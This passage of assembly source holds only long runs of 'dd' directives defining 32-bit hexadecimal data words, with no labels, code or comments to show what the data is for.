		dd 0F187D44Bh, 0A15B5553h, 2DDDD801h, 24E60FBCh, 519D3A3Dh
		dd 37E21AF4h, 0A9E785Fh, 389465D9h, 6A1E02ECh, 0D6C07C9Fh
		dd 60062D70h, 0D5FEE931h, 7BF0032h, 81331161h, 59027CCFh
		dd 0F7E97450h, 0FA1AD512h, 22319300h, 0DAFE66A4h, 535AAEB2h
		dd 7F8C8580h, 0A67C4BCCh, 0CF528B1h, 0C5F25B4Eh, 76FDC781h
		dd 0D7A670A0h, 88273B8h, 0FEDD0BDFh, 27E95026h,	8C36505Eh
		dd 0E11AB519h, 4E5AF406h, 903FF69h, 30B86159h, 45324C93h
		dd 0A7CE3742h, 3C6809EBh, 9AC22570h, 1B07B356h,	5C328058h
		dd 10024368h, 0E672421h, 0D27FECBEh, 0C6F67B00h, 0B53FF72Dh
		dd 0C39A75E3h, 0C51BC641h, 30AC41F2h, 5EB77278h, 0A6BE7D80h
		dd 5EA73C70h, 90E0F7B9h, 0B84FE56Eh, 2CA5015Bh,	9472F130h
		dd 57560016h, 0AD056068h, 0BCFC365Ah, 0B770DB51h, 0A9145A33h
		dd 3B9CCD92h, 0F058E7C0h, 0AEBB4FC2h, 1B05C621h, 3E819F55h
		dd 1EA8BD1Fh, 0F39080BAh, 202C136Fh, 8D20814h, 15F8BB22h
		dd 573D7B05h, 24A194E9h, 58CFF36Eh, 0DCBA393Bh,	0BDE9C455h
		dd 0BD59DBE0h, 1C7F5BCCh
		dd 72F8DCB7h, 544AF16Ch, 614F7E8Ah, 2E595E22h, 257AF9E6h
		dd 0E2A25A47h, 8802D8F2h, 0CDE5E1D5h, 0BCBF2C2h, 3143C836h
		dd 0D0F7AD02h, 76E4CC60h, 39379025h, 824051ECh,	0E710B08h
		dd 0F7CA8106h, 0C27A74A4h, 69F3663Ch, 5BF8B21Fh, 53F660ABh
		dd 2A5DD868h, 0B25698E6h, 15DD2050h, 109C309h, 7835804Fh
		dd 24C093D8h, 0E28ED189h, 6801A34Dh, 805978FDh,	4B209723h
		dd 9FCD292Bh, 0A75BF580h, 953103D9h, 61368FC0h,	56C0B583h
		dd 7C16522Ch, 81285A1Dh, 9DC480BBh, 0CC8AE407h,	360BADEFh
		dd 3C8BE862h, 22372542h, 3BF294F7h, 0A6C856F2h,	0E1D62917h
		dd 36516026h, 9D8A1C9h,	439BFE8Ch, 0FE85D0CDh, 4E7FED8Eh
		dd 0FBD18404h, 875FC041h, 0F66845FDh, 1965B205h, 897A3201h
		dd 0B75A057h, 3C669646h, 0A07BCE29h, 4A65E908h,	0A4A1BC3Fh
		dd 4CCCAAEh, 1E983C95h,	127B3AFh, 26FB7F1Ah, 0EC6FF909h
		dd 4FE9BCDCh, 5FD40983h, 18270A74h, 4A48686Bh, 0A501E801h
		dd 25BEE113h, 4538EBE4h, 0D1C24B1Fh, 2EB5530Dh,	15888BD0h
		dd 0B26FE56Dh, 0CE293A52h, 11D0B2B8h, 41B5434Ah, 542D192Eh
		dd 661A858Bh, 161698EDh, 8524E94Dh, 0EFBD5CC9h,	0EFCA8597h
		dd 2FC77B63h, 0D198BA3Ch, 0FA3E1905h, 2ED69064h, 57DC680Ah
		dd 0D93BE12h, 0D134F9F1h, 527D47Fh, 4B827306h, 77CAFA01h
		dd 9B3105DAh, 0CEBBE43Eh, 0E8270BFCh, 9209E574h, 7BED09CDh
		dd 956D7304h, 8D6DFF54h, 0FCE9398Bh, 5650BFE0h,	0DB27BD98h
		dd 69E346B9h, 0B17DC12Eh, 0E757C76Ah, 0B062B3B0h, 0BEBAB077h
		dd 0D97C24DEh, 3E7C6C22h, 26E6DB8Bh, 4AFA03C6h,	6C3D154h
		dd 1BD86F17h, 5328B5BCh, 9F079DB8h, 0EAE91E2Ch,	6B55D6E1h
		dd 6AAE7160h, 0BB54B72Fh, 0C1A5E905h, 2DFEA9D3h, 0ED8B5982h
		dd 1542B40Bh, 80454F7Eh, 28D106C1h, 30E9CEBBh, 0E0101256h
		dd 0CF4C915Eh, 2B69D0D8h, 43ECEFECh, 894B7B76h,	0BA2565EAh
		dd 0F79C39C2h, 0B2552289h, 0E344F599h, 0A77E4325h, 7CE65CE4h
		dd 0B9CB4C3Ah, 5ED30844h, 5FB3A05Ah, 6F998582h,	1D57A4EAh
		dd 0ED30BD41h, 5A26143Fh, 7705A437h, 0B8710D5Ch, 3033FD5h
		dd 0ABE941C0h, 0BF3C00D4h, 667D56EAh, 14B5FD21h, 0F7451354h
		dd 92C700DDh, 89CD17CCh, 685DEA09h, 2707E6E2h, 190977E9h
		dd 0AE7C8209h, 82B2F250h, 557AC077h, 71F4274Fh,	6C26570h
		dd 4A9BE907h, 0B9CCC37Ch, 0E9DB3D7h, 3065055Bh,	12C9E9E3h
		dd 7DA620A0h, 9C6BE909h, 0E16A925Ch, 0C581D584h, 0C335AEAh
		dd 5A3FA05Fh, 92D320E9h, 57BFA0B4h, 50165E4Ch, 8945080Ah
		dd 2CB2B16Fh, 0D14E0BDDh, 6CAC80E6h, 9E1BE8C5h,	3B462D0Ah
		dd 1F94C380h, 43D320h, 36148CFh, 51AB40Dh, 4BBE215Ah, 4E565A90h
		dd 5ABFFD0Bh, 0A1587032h, 80CCF6F9h, 0C0142EEBh, 0F3003B70h
		dd 0E9D8309Ch, 249973B0h, 97501C02h, 0AF944160h, 0C9601E7Bh
		dd 5E544161h, 14AFEE12h, 0D0352008h, 9C82EF1Eh,	75B2A958h
		dd 3426C8B8h, 2EF89D86h, 0B9A249h, 0E294FBDh, 0D353B85Eh
		dd 0E840Bh, 434E08B0h, 0E1ED0149h, 0FE0844EDh, 0F6E9F1B0h
		dd 8F6399FEh, 0D84B5055h, 0D99723F8h, 4677693Ah, 0F576A027h
		dd 0B45B9567h, 0E1565993h, 2553B512h, 838752A8h, 57460303h
		dd 79756102h, 885E77FEh, 502F07F5h, 460324EEh, 0B3F80208h
		dd 0A5F65C70h, 58F64D39h, 58A007BDh, 0FED41FCFh, 0E05C81C6h
		dd 0C8DC9759h, 0B7A80E72h, 9C6A0CA1h, 0E3BE3CD0h, 2156A630h
		dd 5E357B73h, 5BCC002Dh, 57186840h, 0B900A3B3h,	274E5E49h
		dd 16600BBh, 0C381E0C2h, 0BE2D7DE1h, 82425276h,	4A64DF08h
		dd 6BFB789Fh, 8DFD7554h, 0ED3BD92Ah, 0E4C05A14h, 0BD27C072h
		dd 96EFD8E8h, 0FBD73D0Bh, 0F320FD29h, 346687ACh, 484BBFB8h
		dd 5CEED090h, 393814EDh, 0B82F9C89h, 477F88E2h,	55E98B1Bh
		dd 6260ACC2h, 0E7894B92h, 0D3B1B32Bh, 10C2CAEAh, 4355BD23h
		dd 5195CA3Fh, 0A7D23A91h, 8D715D31h, 0D840E904h, 0ACC9CC8h
		dd 31C19AABh, 0A12913DFh, 5B8B3A0Fh, 22622E6Fh,	0E65F5AE8h
		dd 30E91961h, 6B2D0AE0h, 0E4F2E553h, 0FBCC41C4h, 5BD9F631h
		dd 67C5FE68h, 4F852A6Dh, 0B91A34BAh, 0B8D2D6EEh, 8EA9ACh
		dd 0FB5315E1h, 0B229099h, 0E2E7ED4h, 0E1204980h, 5EC1557Bh
		dd 25467AFh, 454E7681h,	7E2975F6h, 47976F0h, 0F72E7C5Dh
		dd 0ECA0FED8h, 5C32092Dh, 91C2EAF2h, 6805B600h,	99A05963h
		dd 2F02756Eh, 0E9DE8749h, 0C299D86Ah, 36EB7394h, 3EEF9F80h
		dd 0E92A0A20h, 599DA41Bh, 0FB556462h, 825E808Eh, 6CDD01C2h
		dd 79B20B85h, 67A6486h,	3B5AE190h, 0EB88B304h, 7FCD23C2h
		dd 16BE0C7Bh, 0BCD0CEE6h, 304568EBh, 730C531Bh,	6A5EA6D3h
		dd 0F80A57ABh, 0C9C2C09Eh, 519D80Eh, 308852Dh, 0C2C4BF72h
		dd 0BBF20717h, 0B602939Fh, 88680C33h, 0BE578B76h, 0B053DA8h
		dd 6040656h, 0F0FF1AAh,	0DB6BE978h, 1EC3FC41h, 0B0007950h
		dd 4C8FEBBh, 0D3A3C05Eh, 0EBBDE89Bh, 0E9C35D02h, 0C9D453h
		dd 0EB24F3B9h, 0CB168926h, 591CF759h, 4817DBD6h, 6B299212h
		dd 976B70F5h, 0AC8C65CDh, 48313E7Ah, 93C5255Ch,	78C2FA4Fh
		dd 0D05497CAh, 0F3EC6362h, 46FEAD3Fh, 9E4795BFh, 2218B0Fh
		dd 939B279h, 201744D5h,	214BAEC6h, 295E7EFDh, 44446A1Bh
		dd 2801F7BDh, 70342CD0h, 14BE3F02h, 5D8E622Dh, 77A7446Fh
		dd 13B057BCh, 0D6F38F4Ah, 70C28C51h, 25E0B070h,	4DDE2585h
		dd 5A2D3851h, 2A6FB80Eh, 0E058A196h, 0FE30F381h, 0E1E30A7Fh
		dd 7CEB803Dh, 0C402E65Ah, 80F11CE9h, 0ED6E1B2Ah, 0D1F73B0Fh
		dd 4077BFEh, 0E64D7FE1h, 0B801EA21h, 1204C4Fh, 0FD00431h
		dd 5E647B1Bh, 304C0732h, 8EE26F5h, 0ECE58003h, 0B159B252h
		dd 0C2A797EAh, 90648Ah,	0D4481CEDh, 0F7394D30h,	6EFDCDDh
		dd 2F376692h, 0AE41BD6Ah, 7BD7B52h, 7F5FC2A6h, 0CA826F27h
		dd 0A4735FCDh, 0F70E825h, 4016B0C8h, 0C20429DDh, 54016850h
		dd 3C6030FFh, 3F24CC19h, 8A80F053h, 58396B41h, 0C2094BE9h
		dd 0F77C5FA9h, 0D5A4F552h, 4A91E8D6h, 5BC1C7B6h, 6376A768h
		dd 428F0BEDh, 95EF1138h, 2CBF6734h, 20C62080h, 285CE0B9h
		dd 9C516D5h, 0B7CF35B5h, 702556FEh, 553A0CCAh, 0A40C3BF0h
		dd 79040E04h, 24976EE9h, 0F3AD4D52h, 40019A85h,	276FF0DFh
		dd 9CD286D2h, 16CA384Ah, 167CE909h, 0B0F4987Fh,	542C8C78h
		dd 38C05047h, 0B14B4F65h, 0BFF50A9Bh, 56D9C985h, 0C694E9E1h
		dd 0C312582Dh, 4C9BF3C1h, 0F3ADB18Ch, 0DD574201h, 0B9A05060h
		dd 3A4828A0h, 70C902D2h, 7731016Bh, 62D01113h, 3E505722h
		dd 9712BBAAh, 450112F1h, 4BBE46A7h, 0CCF9CD2Eh,	0B42729B6h
		dd 0A6C74DCh, 9FAE61E9h, 8436C52h, 0A240C816h, 2770255Fh
		dd 38F97168h, 6A9519BCh, 3CBDFB7h, 3561C731h, 0C3A2238h
		dd 630A993Fh, 6F6C9064h, 8F78001h, 0DA06EFC0h, 0E712F18Ch
		dd 0F6DEC0B5h, 0FAD6E4DEh, 1CF090EEh, 241FB450h, 59D40B8Ah
		dd 0F669EFD4h, 59557A67h, 0AC3708FDh, 4306FC31h, 3E681D2Ah
		dd 925ED993h, 867770E7h, 27AADA8Bh, 97B0BA66h, 0EBC9454Bh
		dd 0C729D752h, 8EB8128h, 0FF213E34h, 0FEB15769h, 4711FBE6h
		dd 0F73B6090h, 0AC11FCA4h, 254226B9h, 95280174h, 11797E09h
		dd 0A75BA058h, 4B5AEB75h, 820BF149h, 2CC37214h,	3989FFEAh
		dd 1DBDF184h, 0EE815F80h, 7D801F77h, 6855200Ch,	4CA52D5Eh
		dd 957E5561h
		dd 0B881EE4Fh, 9C241FA3h, 0DA184F39h, 0EEE916AEh, 98DF56EEh
		dd 932A68BFh, 9BB01D3Bh, 8065B900h, 4AC53503h, 109758Ah
		dd 78D8486Fh, 2C1EE952h, 0D95128FCh, 13AB5E20h,	0EF7AC268h
		dd 0A709A765h, 0CBEAD5B4h, 5B383280h, 0BAFC3477h, 0B5C9074Bh
		dd 25ABAD04h, 0F7B6AEC2h, 8C7ED316h, 0B5F6B59h,	0F24ADCB2h
		dd 0DBF9D6BFh, 0BF8FEA92h, 2D166816h, 0BF24D59Bh, 3FF29884h
		dd 0AAF3192Bh, 2379DDD6h, 5F0DEB89h, 75D95B3Bh,	0A5316F62h
		dd 84C3FFCAh, 4829DFEBh, 17731203h, 0A5EB2340h,	0A06FA174h
		dd 15563CDh, 760D59A7h,	2851466Ch, 2D02026Bh, 8462A927h
		dd 9FB1608Eh, 2579F23Bh, 55A5FF21h, 80C1D0BCh, 0D1E003F2h
		dd 9A417090h, 0C7721C3Ah, 608105E2h, 0E55FDBAh,	3B88094Bh
		dd 0ADB5407Ah, 34D32D07h, 0DA506FB1h, 9D15CE68h, 718C9F45h
		dd 4BE3118Ch, 700B8052h, 810360AEh, 4674C4CDh, 250C1D34h
		dd 0CEAE47Ah, 0F3352457h, 256BC2EFh, 2698BBDCh,	9D0F12D4h
		dd 0BD9D000Ah, 684D3656h, 0AE3C852Dh, 71EEF201h, 6B5EF1FDh
		dd 36C454C0h, 0F70D17CDh, 345B01DBh, 7AA1B6A8h,	0F0C79AD0h
		dd 2B023055h, 79490C0Ch, 79701F6h, 95ECFA8Bh, 790251BFh
		dd 901C10EFh, 0C4FB5854h, 0F3BAA9CBh, 296886A0h, 75DEB5E0h
		dd 0B66B1670h, 777961A3h, 0A396403h, 0A0277464h, 0C24334BAh
		dd 5F729F5Eh, 0F8272302h, 0DAEE01C2h, 0F68309Ah, 46CB720h
		dd 1751AF3Dh, 0C98EEA2h, 3F2091F5h, 0C4E65898h,	231572BBh
		dd 4C9D171Fh, 0F1200A53h, 0D705A306h, 0D0C10B0Eh, 0F83D24B8h
		dd 4741AE00h, 6132D71h,	61794226h, 4E070514h, 0AE2204EAh
		dd 2E88AEF1h, 90E84F3Fh, 0E6268C62h, 0B3350097h, 26067A36h
		dd 8EFE54E9h, 5CE6D9F7h, 0E205F5C1h, 38D12022h,	0EBC3E2C0h
		dd 897D058Dh, 0E11AE9D0h, 55B43B27h, 377013C2h,	4B6AA0F4h
		dd 0B5AA6E97h, 0E95029F6h, 0A4D0480Bh, 0EA677F8Eh, 306FB25Eh
		dd 0AB07BB77h, 0F9D883A3h, 372C9681h, 0E1B58AC6h, 4842C507h
		dd 0F5611354h, 0C63A6FDFh, 91C0E811h, 5D638AEFh, 4F23B871h
		dd 89E245FEh, 0D99C08E5h, 24205A13h, 9F213468h,	55495759h
		dd 55087E1Eh, 2FA342E9h, 0E1277151h, 4B89472Fh,	0AB7632FFh
		dd 2BA9B634h, 2F8DBE92h, 7596817Bh, 0B72BB93h, 7D6E4261h
		dd 0F9F7B763h, 51D7FD9Ah, 5D0B8C2Ch, 0EB7FF343h, 816C5827h
		dd 990D945Fh, 550C06Eh,	424C7D91h, 0C28410ADh, 50C32809h
		dd 430C555h, 0A1DCE958h, 0B4B63BA2h, 4B67FC5Bh,	174626BFh
		dd 2FA1B44Bh, 0C59DFD2Bh, 0CAAE7E5Ah, 4BF92DBBh, 6BA9A0D7h
		dd 2D1D7B2Fh, 537BDCF7h, 0EA83B02Fh, 410E128Ah,	0B3C19167h
		dd 0C23101CBh, 9C20FDDCh, 0E101EE2Dh, 73C83058h, 1B291378h
		dd 83A2FEA9h, 6CDD6642h, 0E5055ACFh, 0D5214310h, 0EB25EA94h
		dd 7601AB09h, 77406269h, 0DDE312FFh, 797D3ED2h,	74BB18D3h
		dd 5FE3FB75h, 0BE20E984h, 1C57A71Fh, 0B04E5CF6h, 0EA983752h
		dd 0FC132EFFh, 975B4EE0h, 16C8A3C0h, 5213A9B3h,	555CCB82h
		dd 595A3E96h, 0C46436E3h, 408CAEB9h, 7BE9FBECh,	0BCB21C93h
		dd 0EAE24BD7h, 0E9E2C588h, 48277032h, 0DB20F754h, 0C2805812h
		dd 1B3BA3FCh, 1626B3DAh, 59C80357h, 550831EFh, 3D4B23Ch
		dd 0FF98B150h, 79F08D2Eh, 0E4733842h, 0E9C2EF19h, 87D10B32h
		dd 8AC5288Ah, 612B7C2h,	3C2F6457h, 274E59D4h, 5F27C154h
		dd 0FAC5D481h, 0A3D7F642h, 2C956F2h, 0BB66533Ah, 0DC701C1Eh
		dd 9213EE3Ch, 93BDD929h, 8E1C186h, 0E9284960h, 0F8565210h
		dd 20622FBEh, 0C669215Dh, 42944F68h, 4B17B6F0h,	1736ADDEh
		dd 0CDEAE6ACh, 8CF5E8E2h, 5A9288B9h, 8FDF0AEEh,	0E92605DAh
		dd 0FE0A9622h, 0F6F0F925h, 0B85FD2EAh, 9AEC225Eh, 0E6C64FFCh
		dd 0F1211745h, 0C18B7DFDh, 0E66D00FDh, 0CE5B7C6Eh, 5EC4A40Ch
		dd 34CBBE37h, 35F06525h, 9A592996h, 0D1A1443Fh,	0C90FB5Ah
		dd 50393E38h, 0B803A47Bh, 68440EEFh, 9B6464B3h,	0CEE2AC13h
		dd 19A9829Dh, 35A28021h, 5C17053Fh, 0B9207109h,	6C2D5B76h
		dd 0C905DEF4h, 0CBE2C9F5h, 5D2B0F3Ch, 20AB28E3h, 534FF401h
		dd 0B98F83BCh, 682838A3h, 0D25DD2h, 2CCDF104h, 1A94277Fh
		dd 0BF0FAD20h, 47682FC8h, 0DFA8B275h, 6A4AA45h,	5703ED62h
		dd 6B32866Ch, 7EAD1244h, 5073E7Eh, 0E2432D4Ah, 0CD446C3Dh
		dd 0C2BDD9EEh, 0E5FA9BFBh, 38E2A5EAh, 0E29F2D02h, 4BD3577Ah
		dd 7B5B8EA8h, 52BE2900h, 5F476509h, 1EADFC46h, 0D465B502h
		dd 0F81288Fh, 324522E8h, 798242FEh, 0EBF75FCFh,	42C4C836h
		dd 0E91012AEh, 4FEBF0D7h, 0D60BCFF8h, 0E26F4720h, 67782EBh
		dd 30BBDD9Fh, 3AE72ED9h, 9A2330C9h, 0AB963386h,	0F362B07h
		dd 35B55272h, 0EF7AC5BEh, 0C100DCF6h, 0E94203EAh, 0E8970E66h
		dd 9F98B1CAh, 61686D98h, 4CE2250Bh, 6B82F55Dh, 9FD911DAh
		dd 277AC549h, 501A33F5h, 4CAA1ECCh, 0F4D3453Dh,	0D14EA92Eh
		dd 25C171AAh, 20363C9h,	0F6685B54h, 2D16554Dh, 0C1CC180h
		dd 11F1B7Ch, 8A856F3h, 18CFC0BFh, 1C2C6DC4h, 5E08032Ch
		dd 0CC35AC8Dh, 55999333h, 2E03EE5h, 0C9E29A1Dh,	0B25D47C6h
		dd 52C824C9h, 0C292AEBh, 1072B5E9h, 1F33980h, 0BCD3C396h
		dd 4C6E12D7h, 0E31758F3h, 1692E6B8h, 688D44B1h,	0F6C7CF5h
		dd 827DFAC1h, 0D094F75Eh, 60CAE9F1h, 2EB9D9A8h,	3119EE0Fh
		dd 2A4F89EBh, 170CEF7Ch, 3F80EEFEh, 0EF2F67C1h,	0FF01F785h
		dd 0C7D54D12h, 0E73549D1h, 811AE82Bh, 54DC2CDEh, 925EFC6Bh
		dd 0F7E17EF8h, 0D004A0D2h, 1372E402h, 0D0A7E960h, 295927EDh
		dd 148A98FFh, 58E0222Ch, 1CF3E916h, 13E5D5F4h, 0BCF8730Dh
		dd 0E2581620h, 8728C8AEh, 48501949h, 49245E87h,	90ABA5C1h
		dd 0ED0171AFh, 0C60F32F3h, 0FB4EA800h, 0ECEEEC1Bh, 0ABCD307Ah
		dd 9368E944h, 0EC4C809Ch, 0A173829h, 2D70E8DFh,	5C050438h
		dd 7C5FF2BEh, 66A2E02Ch, 0E16E43h, 0B3535A24h, 24E3807Ah
		dd 8C760390h, 64CEB31h,	0D8272858h, 67E9337Eh, 0D1F20806h
		dd 95BED58Eh, 0B803B723h, 55214BAAh, 6803E0E0h,	6F91BA5Eh
		dd 0A307D1CDh, 1512583Ch, 0FCD0C940h, 3D8F864h,	753205CAh
		dd 2BA847A1h, 530AD563h, 72DE801h, 5D11D03Ah, 81BBE912h
		dd 71572D47h, 0E32111D2h, 0DD23C241h, 0D39DC61Eh, 42F50E58h
		dd 70CAEE17h, 6F84C23Ch, 0EA01420Ch, 4F08EC10h,	0BAC4C16h
		dd 840180B5h, 63B8083Dh, 4D07E516h, 1100F6EDh, 5633A677h
		dd 0B16172E9h, 237C167h, 912FF071h, 489A196h, 1057B00Ch
		dd 0DD788274h, 135D9B0Ch, 3D0C6A28h, 21985378h,	0C6C18AE9h
		dd 5B3BC90Ch, 1F052C50h, 0C96B4035h, 0ECF5A307h, 652DF65Ah
		dd 0A85F5AA9h, 400288ADh, 0BC4CE9D6h, 43415E9Dh, 1F4F94BFh
		dd 0FD4A41E8h, 0E4582DCEh, 6D674990h, 4B916840h, 1F4CA748h
		dd 6157C331h, 2CAC8CC0h, 726816CBh, 0B176921Fh,	6B0BA872h
		dd 7543C032h, 294D765h,	6FD4C1D8h, 0C822A0Eh, 611052E4h
		dd 8CAA875h, 14020C34h,	0E8808FE9h, 12F02D37h, 0A079B49h
		dd 25070538h, 0FE5F7822h, 11039A0Ah, 815BDE30h,	0B03B5AF1h
		dd 90FB66E8h, 5E35E3B8h, 14D101E9h, 9831B243h, 0C2D7E4F0h
		dd 0DF731EEAh, 3826C93Dh, 5249D179h, 0C12D5583h, 5D60F802h
		dd 49C209C2h, 5259EEE0h, 31F7B09Dh, 54DFB440h, 0D097709Ah
		dd 0CD5AC19Eh, 6B18056Bh, 17D69BB3h, 400E001Ah,	315BBF25h
		dd 0EC0E35E2h, 0E359C850h
		dd 5F86E9C5h, 5EE36297h, 0BD726577h, 8379C525h,	1AB2DF69h
		dd 594EEF0Bh, 0E912F1FCh, 0A99AE897h, 344C914Ah, 509366D5h
		dd 2E6384A8h, 50E33Bh, 0B74B3BFEh, 1642B825h, 2DE4D900h
		dd 1F96311Ch, 9A63FCE9h, 0B4F2755Eh, 0C9EB633Bh, 27CE1148h
		dd 0D7190951h, 0BA9D867h, 32BA5012h, 0FA7D89F9h, 0E2009D39h
		dd 1DEF6E4Ch, 0E403B906h, 121680B6h, 4CD4722h, 108CCF5Bh
		dd 0B50122D4h, 19E67EFAh, 63CAAE8h, 0EE10E0D1h,	0B77D504Eh
		dd 16ADF7FCh, 35C8307Eh, 5ACF155h, 2D33ED24h, 7AE7A1E2h
		dd 0C0504BC0h, 7307BEEEh, 0C2FCD95Eh, 8D06EE13h, 2D282095h
		dd 17631E02h, 0C1C2CA81h, 0C2203255h, 58550083h, 0DBBF5709h
		dd 47489A6Dh, 0A5F40254h, 0D2311D65h, 3EEA027Ah, 0DAF77930h
		dd 4A16E455h, 7863B15Dh, 66E9A1D7h, 0C0011A3Ch,	0C58006E5h
		dd 2BE8C1BBh, 4F684A28h, 4A82B335h, 9ED869A0h, 0B78E22AAh
		dd 57D1CC56h, 0B12ECFE5h, 0A4762077h, 0CB413D5Ah, 0F2072273h
		dd 60FAC17Fh, 0E3BD001Dh, 0A8BF6670h, 569D2F73h, 287C44Eh
		dd 0D2C96BE9h, 140CEEBBh, 0C0581A52h, 0D6C0F813h, 0A05BF5FBh
		dd 38AAE513h, 0D3D67FEAh, 4D3E6680h, 0CA695A2Dh, 28680BD6h
		dd 62865C76h, 0F6092BBCh, 0B681620Ch, 40F2D03h,	0C789CE64h
		dd 0BE1AFB58h, 0A81C751Ah, 0F1B9AD2Fh, 74F34533h, 45A3EB44h
		dd 8385FED6h, 92CACBFBh, 34B046ABh, 1129E13Ch, 0E98BF867h
		dd 7A29FDB3h, 600B827Ch, 6E68F7CAh, 4A273839h, 1DEBD00Ah
		dd 8E37C042h, 1A0A9BF2h, 0BD527F9h, 205A45A2h, 0E89E5F87h
		dd 1E87C3A8h, 71D2B7C9h, 0F916F5BFh, 0AD49BEFAh, 114906ADh
		dd 9D89699h, 41D33E9Bh,	3A17CE56h, 3DBB6F53h, 9B82A3Fh
		dd 0BD482A5h, 752DFCE8h, 73897A0Eh, 253ED55Dh, 66E08049h
		dd 90676FBEh, 5EF03C2Fh, 47712502h, 24F6AEE9h, 0D2C28006h
		dd 0CDEC5B06h, 12FDC2DDh, 275B579Bh, 31178469h,	79F8B9A4h
		dd 832E275Fh, 8E99F122h, 52F2135Eh, 5E2929D2h, 0EE48E9C1h
		dd 10C7A643h, 0D679CF31h, 0E18181AFh, 2B3964F2h, 24EC7903h
		dd 0C287B418h, 0E0FCCD74h, 5E11DE5Fh, 5CA438BFh, 90EA292Dh
		dd 0A4647B54h, 255A9FD3h, 0C24B8A9Eh, 69F5D4E4h, 0F0C0B54h
		dd 0BC237DBh, 38D40569h, 0C827ACF9h, 9E303CCBh,	0AA9C9254h
		dd 68517220h, 5B540B43h, 27DF5912h, 231B14D7h, 0C14047C4h
		dd 0BF92CB64h, 993501CDh, 6E033032h, 0AD2D3C65h, 0C620B86Fh
		dd 3F4763EEh, 0EB4C5AD7h, 4D5DBA00h, 0B8504727h, 6C387402h
		dd 4CC729D8h, 3BDEB519h, 370E9824h, 9BA9D680h, 0E23E0841h
		dd 92E7C048h, 2F61297Eh, 0BE43B4E9h, 0FD1984A4h, 0EB801EF1h
		dd 0B8B85A16h, 76F09072h, 9DFAB7CDh, 5817BC5Fh,	9627C5E6h
		dd 0D7501F09h, 664B42F0h, 170186E3h, 210E9078h,	0D7BA30E8h
		dd 0E4947E97h, 8091E064h, 0C83CCB39h, 0DD2C1C0Bh, 8304D80Eh
		dd 2D9FD6E9h, 9A544A38h, 0D0A3EA2Dh, 2EF506F8h,	135B1AE7h
		dd 1ED40404h, 25817BB7h, 3CA5C78Ah, 4D2400D5h, 0FA7E8571h
		dd 0C9836763h, 2DFB73D8h, 14F70C13h, 4F7EDAB6h,	4CC91D85h
		dd 500A9BD4h, 85909C51h, 5A06680Fh, 48667C20h, 0C464B75h
		dd 5D57556Ah, 9FF58104h, 6881A95Ch, 9A24C127h, 0DABA1EF6h
		dd 48953EDh, 0A3471759h, 0C53C106Bh, 4A25523Fh,	0BAC69F8h
		dd 0CCC18100h, 10EDF0Ch, 83D090F9h, 0E6FDA908h,	31CB4B2Ch
		dd 3A2CBDB9h, 6FC471F9h, 92F0B8EEh, 0E97428AAh,	19793D2Fh
		dd 0C6E6FD51h, 0BD5D4A66h, 0B082E4A0h, 0C898575Dh, 4C99A4DBh
		dd 7D5468E2h, 0BD10067Bh, 0A15C5028h, 0C46B603Fh, 0B73CFE80h
		dd 75D02BE9h, 0DD010B0Bh, 0EC6C025Eh, 0C93B146Bh, 305CD51h
		dd 0C22AC15Ch, 5D0BF1FAh, 51032416h, 4C14C4B9h,	14386015h
		dd 1F6252D6h, 0C5EDB1BFh, 90590C42h, 81C049C9h,	0F866FAF7h
		dd 0AD30F445h, 0EB2B1314h, 176E016Fh, 604D4C23h, 2A1294ADh
		dd 120D70C7h, 0BD2F3034h, 91BC168Dh, 0F0A49EFDh, 13164904h
		dd 17FD46ACh, 0E4114E34h, 7105E3E7h, 5401194Ah,	0CD06BA8h
		dd 0ACB1786Ah, 0E7542530h, 40F341C3h, 3F53801Bh, 61B1F1BBh
		dd 220CBF1Ch, 68870517h, 4C2048FAh, 0C93B132Eh,	0FAD0F060h
		dd 8BE15D4Ch, 0EBA07F47h, 2E0459E6h, 49CED8F3h,	5B6B3F13h
		dd 0A307AEB8h, 6F6D0D69h, 0EB835E23h, 160E3273h, 0CF6AFD17h
		dd 4C70E2CBh, 0F785C1Fh, 3AE363E3h, 0BA92E910h,	1DD6225Dh
		dd 8B0D54D5h, 0D48F434h, 6191C83Dh, 0D9827DA7h,	500999C2h
		dd 0B7C027B1h, 1725626Ch, 92D7B54h, 9EF5B3D2h, 1FEDBD66h
		dd 0A7FBE08h, 25A05659h, 0CD28B77Eh, 3F53B820h,	0A6166BBFh
		dd 9C010115h, 0D836AB3Fh, 0C702B8F7h, 7205CB5Ch, 9700553Eh
		dd 44377E16h, 2DF80114h, 11A17507h, 0DA90615Fh,	50177A46h
		dd 275221E9h, 66164D04h, 7DCCBB00h, 0B8A040CEh,	5A2DB60Ch
		dd 92ABD6A4h, 530B4929h, 96FE557h, 58E6AADAh, 4E551900h
		dd 0B1C3B92Dh, 29690BA2h, 0D0015FF9h, 2CD5E906h, 895928ADh
		dd 0FC20BB41h, 0EDC45E0Bh, 98F0A181h, 0F187FB04h, 0D508B982h
		dd 49D0D832h, 0D7D2062Dh, 0EAD282AFh, 5B4C2561h, 9D6D0105h
		dd 7182E548h, 3243D859h, 50E00C4Eh, 0C419B524h,	59389255h
		dd 0B318E9F3h, 1FB166EBh, 0D49F5298h, 4579811Eh, 0BC53C043h
		dd 0D47F27E0h, 87D45ABFh, 3BC730B9h, 2516A6F1h,	4B4074B2h
		dd 4A1650E1h, 15050397h, 0CD847288h, 0DEBE6C0h,	0A05D5E44h
		dd 13FC62CAh, 8681274Eh, 0F93EC831h, 0BBA05FE9h, 0F59DAB53h
		dd 0AD509B81h, 4BEF8000h, 49792FEh, 0C6BB5DBAh,	4A2FB6D8h
		dd 778A1AE3h, 1D82893Ah, 0E7D5B34Dh, 84792DECh,	9C16D7C9h
		dd 64DEB8A8h, 2904249Bh, 0A1BA4C65h, 0C2433FCFh, 0BF1D2DFDh
		dd 7EA0A9Fh, 87A1E904h,	6E19B58Bh, 6FC2E728h, 41967AF0h
		dd 8664941Ch, 0D5F61BC7h, 0BAE4E50Bh, 81A4404Eh, 4F32E207h
		dd 0CA606C1Ch, 98C02E72h, 6DC21F5Ah, 29DB451Fh,	630482D1h
		dd 0FDCC6C76h, 52E46205h, 9C752333h, 39C9B8D9h,	9D4BC40Ah
		dd 0B69920DBh, 0F82E4E82h, 33C751FEh, 4B7D68F8h, 0C064EA3Dh
		dd 6AE1F30Bh, 3C608272h, 0C764FDACh, 0BDBE66F0h, 3F5EB900h
		dd 69BF676Fh, 8C800B62h, 77990890h, 0EB9BE917h,	13FC7FCCh
		dd 0F936F039h, 8CEE1FD6h, 5F69C905h, 949DFAFDh,	0DD80CDA8h
		dd 5758A534h, 8897B0F8h, 0C840ED61h, 0B8039626h, 669E4028h
